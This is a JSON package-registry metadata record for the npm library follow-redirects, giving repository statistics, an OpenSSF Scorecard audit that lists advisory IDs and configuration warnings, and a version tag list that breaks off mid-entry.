{"id":1730979,"name":"follow-redirects","ecosystem":"npm","description":"HTTP and HTTPS modules that follow redirects.","homepage":"https://github.com/follow-redirects/follow-redirects","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/follow-redirects/follow-redirects","keywords_array":["http","https","url","redirect","client","location","utility"],"namespace":null,"versions_count":73,"first_release_published_at":"2012-11-15T22:23:44.078Z","latest_release_published_at":"2026-10-25T21:32:25.963Z","latest_release_number":"1.16.2","latest_published_release_number":"1.16.2","last_synced_at":"2026-11-04T14:47:10.030Z","created_at":"2022-04-09T15:46:07.749Z","updated_at":"2026-11-04T18:57:35.507Z","registry_url":"https://www.npmjs.com/package/follow-redirects","install_command":"npm install follow-redirects","documentation_url":null,"metadata":{"funding":[{"url":"https://github.com/sponsors/RubenVerborgh","type":"individual"}],"dist-tags":{"latest":"1.16.2"},"contentPolicy":null,"repository":{"url":"git+ssh://git@github.com/follow-redirects/follow-redirects.git","type":"git"}},"repo_metadata":{"id":5498214,"uuid":"6697086","full_name":"follow-redirects/follow-redirects","owner":"follow-redirects","description":"Node.js module that automatically follows HTTP(S) redirects","archived":false,"fork":false,"pushed_at":"2026-10-25T21:28:04.000Z","size":671,"stargazers_count":582,"open_issues_count":21,"forks_count":194,"subscribers_count":16,"default_branch":"main","last_synced_at":"2026-10-30T10:41:40.064Z","etag":null,"topics":["http","https","javascript","nodejs","redirect"],"latest_commit_sha":null,"homepage":"https://www.npmjs.com/package/follow-redirects","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/follow-redirects.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"RubenVerborgh"}},"created_at":"2012-11-15T00:01:16.000Z","updated_at":"2026-10-29T03:36:02.000Z","dependencies_parsed_at":"2026-10-10T14:42:04.951Z","dependency_job_id":null,"html_url":"https://github.com/follow-redirects/follow-redirects","commit_stats":{"total_commits":350,"total_committers":35,"mean_commits":10.0,"dds":0.2885714285714286,"last_synced_commit":"694d6b47a42bc8377e5ef1480394de451e16bd5b"},"previous_names":["olalonde/follow-redirects"],"tags_count":67,"template":false,"template_full_name":null,"purl":"pkg:github/follow-redirects/follow-redirects","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/follow-redirects","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/sbom","scorecard":{"id":406215,"data":{"date":"2025-08-11","repo":{"name":"github.com/follow-redirects/follow-redirects","commit":"21ef28a544c5e57f4c34b8476d75f2144609a1eb"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.7,"checks":[{"name":"Maintained","score":5,"reason":"4 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 1/23 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/ci.yml:12","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Pinned-Dependencies","score":2,"reason":"dependency not pinned by hash detected -- score normalized to 2","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:60: update your workflow using https://app.stepsecurity.io/secureworkflow/follow-redirects/follow-redirects/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/follow-redirects/follow-redirects/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/follow-redirects/follow-redirects/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/follow-redirects/follow-redirects/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/follow-redirects/follow-redirects/ci.yml/main?enable=pin","Warn: npmCommand not pinned by hash: .github/workflows/ci.yml:65","Warn: npmCommand not pinned by hash: .github/workflows/ci.yml:67","Info:   0 out of   4 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   1 out of   3 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 12 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":0,"reason":"19 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-67hx-6x53-jw92","Warn: Project is vulnerable to: GHSA-93q8-gq69-wqmw","Warn: Project is vulnerable to: GHSA-qwcr-r2fm-qrc7","Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-pxg6-pf52-xh8x","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-gxpj-cx7g-858c","Warn: Project is vulnerable to: GHSA-rv95-896h-c2vc","Warn: Project is vulnerable to: GHSA-qw6h-vgh9-j6wx","Warn: Project is vulnerable to: GHSA-2j2x-2gpw-g8fm","Warn: Project is vulnerable to: GHSA-f8q6-p94x-37v3","Warn: Project is vulnerable to: GHSA-9wv6-86v2-598j","Warn: Project is vulnerable to: GHSA-rhx6-c78j-4q9w","Warn: Project is vulnerable to: GHSA-hrpp-h998-j3pp","Warn: Project is vulnerable to: GHSA-c2qf-rxjj-qqgw","Warn: Project is vulnerable to: GHSA-m6fv-jmcg-4jfg","Warn: Project is vulnerable to: GHSA-cm22-4g7w-348p","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6","Warn: Project is vulnerable to: GHSA-j8xg-fqg3-53r7"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-18T21:19:18.401Z","repository_id":5498214,"created_at":"2025-08-18T21:19:18.401Z","updated_at":"2025-08-18T21:19:18.401Z"},"funding_links":["https://github.com/sponsors/RubenVerborgh"],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":346510206,"owners_count":38564388,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-31T02:00:06.835Z","response_time":60,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"follow-redirects","name":"follow-redirects","uuid":"44202871","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/44202871?v=4","repositories_count":1,"last_synced_at":"2026-10-25T02:31:33.198Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/follow-redirects","funding_links":[],"total_stars":580,"followers":14,"following":0,"created_at":"2022-11-02T16:19:12.818Z","updated_at":"2026-10-25T02:31:33.231Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/follow-redirects","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/follow-redirects/repositories"},"tags":[{"name":"v1.16.1","sha":"46301256333c90b7faac7aa126effe72ec16d16e","kind":"tag","published_at":"2026-10-01T13:49:38.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.16.1","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.16.1/manifests"},{"name":"v1.16.0","sha":"0c23a223067201c368035e82954c11eb2578a33b","kind":"tag","published_at":"2026-04-13T11:02:35.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.16.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.16.0/manifests"},{"name":"v1.15.11","sha":"21ef28a544c5e57f4c34b8476d75f2144609a1eb","kind":"tag","published_at":"2025-07-31T12:54:37.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.15.11","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.15.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.15.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.11/manifests"},{"name":"v1.15.10","sha":"6e389ba094beec211a8847788a146917a16c1bdb","kind":"tag","published_at":"2025-07-31T07:48:08.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.15.10","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.15.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.15.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.10/manifests"},{"name":"v1.15.9","sha":"e4e55c77b2d849280d105943f49f42e0c735d05d","kind":"tag","published_at":"2024-09-06T08:56:25.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.15.9","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.15.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.15.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.9/manifests"},{"name":"v1.15.8","sha":"62558f0cd106195f4c17ece3ad255eb93487d37f","kind":"tag","published_at":"2024-09-03T21:44:09.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.15.8","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.15.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.15.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.8/manifests"},{"name":"v1.15.7","sha":"760757f7b75cce429604492d91649cbbd473c8d4","kind":"tag","published_at":"2024-09-03T19:27:46.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.15.7","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.15.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.15.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.7/manifests"},{"name":"v1.15.6","sha":"35a517c5861d79dc8bff7db8626013d20b711b06","kind":"tag","published_at":"2024-03-14T16:37:48.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.15.6","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.15.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.15.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.6/manifests"},{"name":"v1.15.5","sha":"b1677ce00110ee50dc5da576751d39b281fc4944","kind":"tag","published_at":"2024-01-12T08:40:53.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.15.5","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.5/manifests"},{"name":"v1.15.4","sha":"65858205e59f1e23c9bf173348a7a7cbb8ac47f5","kind":"tag","published_at":"2023-12-30T17:26:51.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.15.4","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.4/manifests"},{"name":"v1.15.3","sha":"192dbe7ce671ecad813c074bffe3b3f5d3680fee","kind":"tag","published_at":"2023-09-19T18:49:27.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.15.3","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.3/manifests"},{"name":"v1.15.2","sha":"96552371eeec58567850d0288ba793274d1ca50b","kind":"tag","published_at":"2022-09-13T15:03:03.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.15.2","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.2/manifests"},{"name":"v1.15.1","sha":"62a551cbf7d4d3917c532d0b87ca77ef983f44c1","kind":"tag","published_at":"2022-05-26T23:18:20.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.15.1","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.1/manifests"},{"name":"v1.15.0","sha":"22e81fc37132941fb83939d1dc4c2282b5c69521","kind":"tag","published_at":"2022-05-03T21:29:51.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.15.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.15.0/manifests"},{"name":"v1.14.9","sha":"13136e95bbe23cabbeaeb74bd0c933aa98dd9b96","kind":"tag","published_at":"2022-02-18T09:27:00.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.14.9","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.14.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.14.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.9/manifests"},{"name":"v1.14.8","sha":"3d81dc3237b4ffe8b722bb3d1c70a7866657166e","kind":"tag","published_at":"2022-02-08T11:04:04.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.14.8","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.14.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.14.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.8/manifests"},{"name":"v1.14.7","sha":"2ede36d7c60d3acdcd324dcd99a9dbd52e4fb3a6","kind":"tag","published_at":"2022-01-10T16:56:33.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.14.7","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.14.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.14.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.7/manifests"},{"name":"v1.14.6","sha":"6f5029ae1a0fdab4dc25f6379a5ee303c2319070","kind":"tag","published_at":"2021-12-08T18:18:45.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.14.6","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.14.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.14.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.6/manifests"},{"name":"v1.14.5","sha":"d01ab7a5c5df3617c7a40a03de7af6427fdfac55","kind":"tag","published_at":"2021-10-30T18:27:53.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.14.5","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.14.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.14.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.5/manifests"},{"name":"v1.14.4","sha":"77e2a581e1d1811674b7b74745a9c20a5b939488","kind":"tag","published_at":"2021-09-14T12:18:56.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.14.4","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.14.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.4/manifests"},{"name":"v1.14.3","sha":"f26c6c627106cb002fa39cfc327f5a541223a1cf","kind":"tag","published_at":"2021-09-02T13:11:30.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.14.3","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.3/manifests"},{"name":"v1.14.2","sha":"422890dae07034ae762b4a83f447833ac97b05dd","kind":"tag","published_at":"2021-08-18T12:03:23.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.14.2","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.2/manifests"},{"name":"v1.14.1","sha":"889b0ebbcb1c90ef1941f0a72a8d1df922fb1d58","kind":"tag","published_at":"2021-05-09T10:12:24.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.14.1","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.1/manifests"},{"name":"v1.14.0","sha":"bbe5769c556f797070c5281efeed3bd2b3f8110b","kind":"tag","published_at":"2021-04-25T16:33:42.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.14.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.14.0/manifests"},{"name":"v1.13.3","sha":"2bdeedf70c5abbd631e5106848cb0732bcca794c","kind":"tag","published_at":"2021-02-27T14:39:47.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.13.3","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.13.3/manifests"},{"name":"v1.